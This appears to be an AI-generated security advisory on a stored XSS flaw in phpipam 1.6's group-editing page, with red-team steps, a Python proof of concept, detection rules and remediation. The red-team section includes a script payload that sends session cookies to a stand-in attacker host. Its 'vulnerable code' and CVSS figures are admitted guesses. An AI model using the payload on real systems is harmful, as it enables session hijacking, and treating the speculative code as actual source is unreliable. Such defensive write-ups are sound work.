CVE-2024-41353

Executive Summary

CVE-2024-41353 is a stored Cross-Site Scripting (XSS) vulnerability identified in phpipam version 1.6, specifically within the app/admin/groups/edit-group.php endpoint. This flaw allows an authenticated attacker with administrative privileges to inject arbitrary web scripts or HTML into the group editing interface. When other administrators or users view the affected group page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the phpipam instance. The vulnerability has a CVSS score of 0.0 (placeholder) and an EPSS score of 0.0%, indicating low exploitation likelihood at the time of analysis, but the lack of a vendor patch makes it a persistent risk for unhardened deployments.

Supply Chain & Package Security

phpipam is a self-hosted PHP application typically deployed via Git or manual download. There is no official package manager (e.g., NPM, PyPI) involved, so supply chain risks are limited to the integrity of the source code repository. Users should verify the authenticity of their phpipam installation and consider manual code review for this specific vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder; actual score likely 6.1 Medium based on typical XSS characteristics)
• Attack Vector (AV): Network
• Attack Complexity (AC): Low
• Privileges Required (PR): High (admin)
• User Interaction (UI): Required (victim must view the group page)
• Scope (S): Changed
• Confidentiality (C): Low
• Integrity (I): Low
• Availability (A): None
• Threat Level: Medium (due to required admin privileges and user interaction, but potential for lateral movement)

Deep Dive & Mechanics

The vulnerability resides in the app/admin/groups/edit-group.php file, which handles the editing of user groups. The application fails to properly sanitize or escape user-supplied input before rendering it in the HTML response. Specifically, the group_name or other editable fields are not filtered for malicious JavaScript or HTML. An attacker with admin access can inject a payload such as <script>alert('XSS')</script> into a group name. When another admin navigates to the group management page, the payload executes in their browser.

The root cause is the lack of output encoding or input validation on the server side. phpipam likely uses PHP's echo or print functions without applying htmlspecialchars() or similar escaping functions. This is a classic stored XSS pattern.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.6 - app/admin/groups/edit-group.php):

<?php
// Assume $group_name is retrieved from POST or database
echo "<input type='text' name='group_name' value='" . $group_name . "'>";
?>

The $group_name variable is directly concatenated into the HTML without escaping.

Patched Code (Hypothetical Fix):

<?php
// Use htmlspecialchars to escape output
echo "<input type='text' name='group_name' value='" . htmlspecialchars($group_name, ENT_QUOTES, 'UTF-8') . "'>";
?>

The fix applies htmlspecialchars() to encode special characters like <, >, ", and ', preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for phpipam 1.6
• Network access to the phpipam web interface

Exploitation Steps:

1. Log in to phpipam as an admin.
2. Navigate to Administration > Groups > Edit Group.
3. In the group name field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the group.
5. When another admin views the group list or edits the group, the payload executes, exfiltrating their session cookie.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-phpipam/admin/groups/edit-group.php"
session = requests.Session()
# Authenticate first (simplified)
login_data = {"username": "admin", "password": "password"}
session.post("http://target-phpipam/login.php", data=login_data)

# Inject XSS payload
payload = {"group_name": "<script>alert('XSS')</script>"}
session.post(target, data=payload)
print("Payload injected. Trigger by viewing group page.")

Blue Team

Detection Steps:

1. Monitor web application logs for unusual POST requests to app/admin/groups/edit-group.php containing <script> or onerror patterns.
2. Inspect database entries for group names containing HTML/JavaScript.
3. Use WAF rules to block common XSS payloads in group name fields.

Hunting Query (Splunk):

index=web_logs sourcetype=apache_access
| search uri="/app/admin/groups/edit-group.php" AND method=POST
| rex field=form_data "group_name=(?<group_name>.*)"
| where match(group_name, "<script|onerror|javascript:")
| table _time, src_ip, user, group_name

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from phpipam server (e.g., attacker.com/steal)
  • POST requests to /app/admin/groups/edit-group.php with suspicious form data
• File IOCs:
  • Modified entries in phpipam database table groups with name field containing <script> tags
• Log IOCs:
  • Apache/Nginx access logs showing group_name=<script> in POST body
  • PHP error logs with warnings about unescaped output

Detection Engineering

YARA Rule

rule phpipam_xss_cve_2024_41353 {
    meta:
        description = "Detects XSS payloads in phpipam group names"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-41353"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: XSS Payload in phpipam Group Name
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS injection attempts in phpipam group editing
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/app/admin/groups/edit-group.php'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in group names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41353 phpipam XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/app/admin/groups/edit-group.php"; http_uri; content:"group_name="; http_client_body; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade phpipam: If a patched version becomes available, upgrade immediately. As of now, no patch exists.
2. Apply Virtual Patching: Use a Web Application Firewall (WAF) to block requests containing XSS patterns in the group_name parameter.
3. Restrict Admin Access: Limit the number of users with admin privileges and enforce strong authentication (e.g., MFA).
4. Manual Code Fix: Edit app/admin/groups/edit-group.php to apply htmlspecialchars() to all user inputs before rendering.

Long-Term Hardening:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits of phpipam code.
• Monitor for new CVEs and apply patches promptly.

Valters IT Signature

This report is generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.